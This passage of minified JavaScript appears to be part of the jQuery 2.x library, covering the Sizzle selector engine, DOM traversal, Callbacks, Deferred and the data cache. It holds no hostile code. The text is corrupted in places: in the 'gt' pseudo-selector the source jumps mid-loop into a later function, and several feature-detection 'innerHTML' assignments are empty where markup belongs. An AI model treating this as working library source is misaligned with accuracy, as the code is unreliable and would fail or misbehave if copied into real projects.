f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once 